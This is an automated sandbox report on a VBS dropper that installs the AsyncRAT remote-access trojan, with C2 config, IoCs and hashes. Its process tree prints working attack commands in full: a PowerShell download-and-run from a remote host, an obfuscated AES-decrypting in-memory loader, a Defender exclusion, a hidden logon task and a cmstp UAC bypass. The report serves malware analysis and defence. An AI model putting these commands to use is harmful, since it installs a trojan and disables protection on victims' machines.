asyncrat | 1034cb1effff3e411b07d3d8a318b5b6d4164d3feea9151c857715abd8ee2f9e

Analysis

max time kernel
131s
max time network
304s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
09-12-2024 19:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1821_output.vbs
Size

61KB
MD5

6943e4c37b93c2a81a98a81e36d2d5ce
SHA1

ad2ba17165344f88b6bf0befaac528feb8a3280f
SHA256

57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f
SHA512

78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80
SSDEEP

768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes

delay
3
install
false
install_file
dwmm.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral4/memory/1656-128-0x0000000007870000-0x0000000007882000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2064	powershell.exe
39	1656	powershell.exe
40	1656	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2064	powershell.exe
2648	powershell.exe
2212	powershell.exe
4656	powershell.exe
1656	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4074627901-37362009-3519777259-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4074627901-37362009-3519777259-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4688	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4074627901-37362009-3519777259-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2064	powershell.exe
2064	powershell.exe
2648	powershell.exe
2648	powershell.exe
2212	powershell.exe
2212	powershell.exe
4656	powershell.exe
4656	powershell.exe
1656	powershell.exe
1656	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeIncreaseQuotaPrivilege	2648	powershell.exe
Token: SeSecurityPrivilege	2648	powershell.exe
Token: SeTakeOwnershipPrivilege	2648	powershell.exe
Token: SeLoadDriverPrivilege	2648	powershell.exe
Token: SeSystemProfilePrivilege	2648	powershell.exe
Token: SeSystemtimePrivilege	2648	powershell.exe
Token: SeProfSingleProcessPrivilege	2648	powershell.exe
Token: SeIncBasePriorityPrivilege	2648	powershell.exe
Token: SeCreatePagefilePrivilege	2648	powershell.exe
Token: SeBackupPrivilege	2648	powershell.exe
Token: SeRestorePrivilege	2648	powershell.exe
Token: SeShutdownPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeSystemEnvironmentPrivilege	2648	powershell.exe
Token: SeRemoteShutdownPrivilege	2648	powershell.exe
Token: SeUndockPrivilege	2648	powershell.exe
Token: SeManageVolumePrivilege	2648	powershell.exe
Token: 33	2648	powershell.exe
Token: 34	2648	powershell.exe
Token: 35	2648	powershell.exe
Token: 36	2648	powershell.exe
Token: SeDebugPrivilege	4688	taskkill.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeIncreaseQuotaPrivilege	4656	powershell.exe
Token: SeSecurityPrivilege	4656	powershell.exe
Token: SeTakeOwnershipPrivilege	4656	powershell.exe
Token: SeLoadDriverPrivilege	4656	powershell.exe
Token: SeSystemProfilePrivilege	4656	powershell.exe
Token: SeSystemtimePrivilege	4656	powershell.exe
Token: SeProfSingleProcessPrivilege	4656	powershell.exe
Token: SeIncBasePriorityPrivilege	4656	powershell.exe
Token: SeCreatePagefilePrivilege	4656	powershell.exe
Token: SeBackupPrivilege	4656	powershell.exe
Token: SeRestorePrivilege	4656	powershell.exe
Token: SeShutdownPrivilege	4656	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeSystemEnvironmentPrivilege	4656	powershell.exe
Token: SeRemoteShutdownPrivilege	4656	powershell.exe
Token: SeUndockPrivilege	4656	powershell.exe
Token: SeManageVolumePrivilege	4656	powershell.exe
Token: 33	4656	powershell.exe
Token: 34	4656	powershell.exe
Token: 35	4656	powershell.exe
Token: 36	4656	powershell.exe
Token: SeIncreaseQuotaPrivilege	4656	powershell.exe
Token: SeSecurityPrivilege	4656	powershell.exe
Token: SeTakeOwnershipPrivilege	4656	powershell.exe
Token: SeLoadDriverPrivilege	4656	powershell.exe
Token: SeSystemProfilePrivilege	4656	powershell.exe
Token: SeSystemtimePrivilege	4656	powershell.exe
Token: SeProfSingleProcessPrivilege	4656	powershell.exe
Token: SeIncBasePriorityPrivilege	4656	powershell.exe
Token: SeCreatePagefilePrivilege	4656	powershell.exe
Token: SeBackupPrivilege	4656	powershell.exe
Token: SeRestorePrivilege	4656	powershell.exe
Token: SeShutdownPrivilege	4656	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeSystemEnvironmentPrivilege	4656	powershell.exe
Token: SeRemoteShutdownPrivilege	4656	powershell.exe
Token: SeUndockPrivilege	4656	powershell.exe
Token: SeManageVolumePrivilege	4656	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 4968 wrote to memory of 4836	4968	WScript.exe	80
PID 4968 wrote to memory of 4836	4968	WScript.exe	80
PID 4836 wrote to memory of 2064	4836	cmd.exe	82
PID 4836 wrote to memory of 2064	4836	cmd.exe	82
PID 2064 wrote to memory of 2664	2064	powershell.exe	84
PID 2064 wrote to memory of 2664	2064	powershell.exe	84
PID 2664 wrote to memory of 5036	2664	csc.exe	85
PID 2664 wrote to memory of 5036	2664	csc.exe	85
PID 2064 wrote to memory of 1196	2064	powershell.exe	86
PID 2064 wrote to memory of 1196	2064	powershell.exe	86
PID 4968 wrote to memory of 1772	4968	WScript.exe	100
PID 4968 wrote to memory of 1772	4968	WScript.exe	100
PID 1772 wrote to memory of 2212	1772	cmd.exe	102
PID 1772 wrote to memory of 2212	1772	cmd.exe	102
PID 1772 wrote to memory of 2212	1772	cmd.exe	102
PID 2212 wrote to memory of 4656	2212	powershell.exe	103
PID 2212 wrote to memory of 4656	2212	powershell.exe	103
PID 2212 wrote to memory of 4656	2212	powershell.exe	103
PID 2212 wrote to memory of 648	2212	powershell.exe	106
PID 2212 wrote to memory of 648	2212	powershell.exe	106
PID 2212 wrote to memory of 648	2212	powershell.exe	106
PID 648 wrote to memory of 1012	648	WScript.exe	107
PID 648 wrote to memory of 1012	648	WScript.exe	107
PID 648 wrote to memory of 1012	648	WScript.exe	107
PID 1012 wrote to memory of 1656	1012	cmd.exe	109
PID 1012 wrote to memory of 1656	1012	cmd.exe	109
PID 1012 wrote to memory of 1656	1012	cmd.exe	109

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2064
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vrq4pvwo\vrq4pvwo.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2664
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD68A.tmp" "c:\Users\Admin\AppData\Local\Temp\vrq4pvwo\CSCDF2618DD37B1433D82A97F41EA3667C.TMP"
        5⤵
        
        PID:5036
  - - C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\gpfluvgg.inf
      4⤵
      PID:1196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_962_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\latencyx962.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4656
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\latencyx962.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:648
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\latencyx962.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1012
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Roaming\latencyx962.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2648

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
99b15f35821046cf0dfc3dcb9189631f

SHA1
5f178b323a1247ce94ebbadf9473c4dcd8ccb1ce

SHA256
e4c2a17ef6811cc1458876f2ebf29b12aa8d0f381873c6d6748499944eb753e2

SHA512
512975d45a2822515059c31aa1d64b36d7f78cc8ba8b5e0506b8b749a680581bbd01c03fbbf1a84bf078c021970835c298a865f237c76a2405d3e28577b73837

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
ad19f35c4c98681447f4541a23ed7c71

SHA1
bcb8e474307fa47d451b6876648dad0ae9b210e5

SHA256
a8d4be98ab241df2f76156978c404774d5fc365e05bf0e7d53ba63c28efbda3c

SHA512
db7931b94564f211e980a479923053733097ecf4f0c8efe15ef4eb25d63d629e2230103f3c1af81de2efc833467f626060431b74b4f7bff010474dcca5dfe43b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
588B

MD5
a87dbfa7423ac2e7a264ef5568372637

SHA1
9f7a1d3179c23b5373cd3917d2b61831fad36013

SHA256
968418ce53a9233a92e6f8a72493f6e4e2ae9aa7c6bfc3878da529543d6f24d5

SHA512
43da5f471d81f96ca9c584b71d74a3f001907496ff851e8c0d69f63b3c2626d59ad4742d9b0b964e05a27b43ca0b2f83e4c1624fb11a867ce83017587a9bb3fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
129b0eae051e116c39b4a49f152aca98

SHA1
a8ee88da2dd6724280dcba08760f311589c25cdd

SHA256
f510fc496a4bdb4e8045d66b81620156d51c17b33f6499472c00ac72abcf73ff

SHA512
62d480dee86e7a08487afdaba6bef104518fd9ba9ecbcbeb0efab87ac09d7e73aed40b84c40b4d602bf758a895eca6acd6b9dae748ca5010942f93a48f383a3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESD68A.tmp

Filesize
1KB

MD5
5ead95c60b1bd7dc79dc50043d51ec1c

SHA1
d629c6e929ff90acbf50707dda70f814fd0fd166

SHA256
d993e6a34f84f17f4724c508a8e3c5ba120784fc33afb5c4ba4b8076f138590a

SHA512
9a1dbc97a2a932b4ce7b44a9bf78ebaee824e72421e1774a45ea610ab80b0390c199280452373daf37d2d7c890b93c0563fd5b995d865f47e883fcca37d9767c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d5m4jkcn.wph.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
53KB

MD5
5658af2134929280550a46a39d5d1254

SHA1
757ce11f87e3886b0320fca0bd6bf1f26968a25e

SHA256
942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

SHA512
e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\vrq4pvwo\vrq4pvwo.dll

Filesize
4KB

MD5
bcc9f15236fd7db67706ad5362269be3

SHA1
576af5aa6e5590b2a8fa9305b12fe104a8fafc46

SHA256
0b8abcd5ecd6f542bef3abae5bf6b814ffb568c987c92f84b83d5b5a49fae34b

SHA512
312ea6bb32ca9e493a5e89234f7f28dc34008d5b34a80377fdee72a39fba200958c1e16f9d26cc241f662cd3ee889618d41e86d7fa8aa5e09f9a569e55b003a9

Download Submit
C:\Users\Admin\AppData\Roaming\latencyx962.vbs

Filesize
111B

MD5
52398e19b9d14083072bc82a1ab2b519

SHA1
6c96be1226232f248e32ffc6eb58c3236cf14124

SHA256
92b22de1ebd11dfb7bf2a0aa03172eeaedfbe17c3a3a3c3b4a54d3cf381f2d0e

SHA512
dcac9dd527237dc3ab9cf91e420a0e1626c46361919c1798dd6262b01ba4555dd38170af7b8f0deb01b384fae6693dd06cd3f0e6d94c5a74b439318d07c00eb5

Download Submit
C:\windows\temp\gpfluvgg.inf

Filesize
683B

MD5
a4fd12b94ad4ac06fabd8dd56dd5ff2b

SHA1
940d129205e04ba31b10a72d7a7a236a9ed0488b

SHA256
fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

SHA512
a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\vrq4pvwo\CSCDF2618DD37B1433D82A97F41EA3667C.TMP

Filesize
652B

MD5
8e8571da22a24a9c89d17d5953b7bc19

SHA1
9576edf1b6c79841ebc217e58ede89bfd4fdc193

SHA256
a39dae857ead2a2fdb1328f12ea3bf5cb6594f1f64e787f1f97a9faa584efe8d

SHA512
ef49dc0c93f30ee394fb0a3e79662a7bb445490e2c266fa1bd260f4ec573cc1689baff63cf4fa5032e99ac2ab4ba73cafe98e1e175aea2295d6fc5b735060ed4

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\vrq4pvwo\vrq4pvwo.0.cs

Filesize
2KB

MD5
897ac4306f2a2524bc3c441bd00c72b9

SHA1
1703dbf9a2a78491dfd6685540d4691839e33b69

SHA256
a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

SHA512
2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\vrq4pvwo\vrq4pvwo.cmdline

Filesize
369B

MD5
dd41bdc5fe27ac8f58012b72fcd0a119

SHA1
5ebde02845df93992000fbb030e82bf96f5e2147

SHA256
6408a3c08fa4280198d1d3a127922c0014547b9a9f15416c4ca147c08ae84f4c

SHA512
f5edde22725ba9338543278b87f06b6b70555f7af50531b6cd48df6b168174dfbf3aa6a6a4a5fa411223b6ef6c834c1c06626e69cb2181f2b3bb52a97b652a88

Download Submit
memory/1656-128-0x0000000007870000-0x0000000007882000-memory.dmp

Filesize
72KB

Download
memory/2064-14-0x0000021BF0BD0000-0x0000021BF0BEC000-memory.dmp

Filesize
112KB

Download
memory/2064-45-0x00007FFA50380000-0x00007FFA50E42000-memory.dmp

Filesize
10.8MB

Download
memory/2064-44-0x00007FFA50383000-0x00007FFA50385000-memory.dmp

Filesize
8KB

Download
memory/2064-49-0x00007FFA50380000-0x00007FFA50E42000-memory.dmp

Filesize
10.8MB

Download
memory/2064-27-0x0000021BF0BF0000-0x0000021BF0BF8000-memory.dmp

Filesize
32KB

Download
memory/2064-13-0x00007FFA50380000-0x00007FFA50E42000-memory.dmp

Filesize
10.8MB

Download
memory/2064-12-0x00007FFA50380000-0x00007FFA50E42000-memory.dmp

Filesize
10.8MB

Download
memory/2064-0-0x00007FFA50383000-0x00007FFA50385000-memory.dmp

Filesize
8KB

Download
memory/2064-11-0x00007FFA50380000-0x00007FFA50E42000-memory.dmp

Filesize
10.8MB

Download
memory/2064-1-0x0000021BF0840000-0x0000021BF0862000-memory.dmp

Filesize
136KB

Download
memory/2212-59-0x0000000005BD0000-0x0000000005BF2000-memory.dmp

Filesize
136KB

Download
memory/2212-78-0x0000000007C40000-0x0000000007CDC000-memory.dmp

Filesize
624KB

Download
memory/2212-73-0x00000000069E0000-0x00000000069FE000-memory.dmp

Filesize
120KB

Download
memory/2212-74-0x0000000006A80000-0x0000000006ACC000-memory.dmp

Filesize
304KB

Download
memory/2212-75-0x00000000081F0000-0x000000000886A000-memory.dmp

Filesize
6.5MB

Download
memory/2212-76-0x0000000007B40000-0x0000000007B5A000-memory.dmp

Filesize
104KB

Download
memory/2212-77-0x0000000007B80000-0x0000000007B88000-memory.dmp

Filesize
32KB

Download
memory/2212-61-0x0000000006420000-0x0000000006486000-memory.dmp

Filesize
408KB

Download
memory/2212-79-0x0000000007DC0000-0x0000000007DCE000-memory.dmp

Filesize
56KB

Download
memory/2212-80-0x0000000008E20000-0x00000000093C6000-memory.dmp

Filesize
5.6MB

Download
memory/2212-57-0x0000000003390000-0x00000000033C6000-memory.dmp

Filesize
216KB

Download
memory/2212-71-0x0000000006590000-0x00000000068E7000-memory.dmp

Filesize
3.3MB

Download
memory/2212-58-0x0000000005C00000-0x00000000062CA000-memory.dmp

Filesize
6.8MB

Download
memory/2212-60-0x0000000006340000-0x00000000063A6000-memory.dmp

Filesize
408KB

Download
memory/4656-92-0x0000000070E80000-0x0000000070ECC000-memory.dmp

Filesize
304KB

Download
memory/4656-105-0x0000000007080000-0x0000000007116000-memory.dmp

Filesize
600KB

Download
memory/4656-106-0x0000000006FF0000-0x0000000007001000-memory.dmp

Filesize
68KB

Download
memory/4656-104-0x0000000006E70000-0x0000000006E7A000-memory.dmp

Filesize
40KB

Download
memory/4656-103-0x0000000006CD0000-0x0000000006D73000-memory.dmp

Filesize
652KB

Download
memory/4656-102-0x00000000060A0000-0x00000000060BE000-memory.dmp

Filesize
120KB

Download
memory/4656-91-0x0000000006C90000-0x0000000006CC2000-memory.dmp

Filesize
200KB

Download